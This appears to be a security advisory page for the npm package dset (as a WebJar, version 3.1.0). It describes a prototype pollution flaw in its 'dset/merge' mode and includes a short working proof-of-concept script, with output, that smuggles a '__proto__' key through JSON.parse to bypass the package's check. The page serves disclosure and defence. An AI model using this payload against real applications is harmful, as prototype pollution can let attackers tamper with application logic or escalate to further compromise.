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org.webjars.npm:dset@3.1.0 vulnerabilities

  • latest version

    3.1.1

  • first published

    3 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

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Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:dset package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

org.webjars.npm:dset is an A tiny (161B) utility for safely writing deep Object values~!

Affected versions of this package are vulnerable to Prototype Pollution via 'dset/merge' mode, as the dset function checks for prototype pollution by validating if the top-level path contains __proto__, constructor or protorype. By crafting a malicious object, it is possible to bypass this check and achieve prototype pollution.

PoC:

// poc.js contains:

const {dset} = require("dset/merge")

var a = {b:{c:1}}

console.log("a.polluted:",a.polluted)
console.log("{}.polluted:",({}).polluted)

dset(a,"b", JSON.parse('{"__proto__":{"polluted":"Yes!"}}') ) //Needs to craft payload with JSON.parse to keep the object key __proto__

console.log("a.polluted:",a.polluted)
console.log("{}.polluted:",({}).polluted)

// Running node poc.js give the output:

a.polluted: undefined
{}.polluted: undefined
a.polluted: Yes!
{}.polluted: Yes!

How to fix Prototype Pollution?

There is no fixed version for org.webjars.npm:dset.

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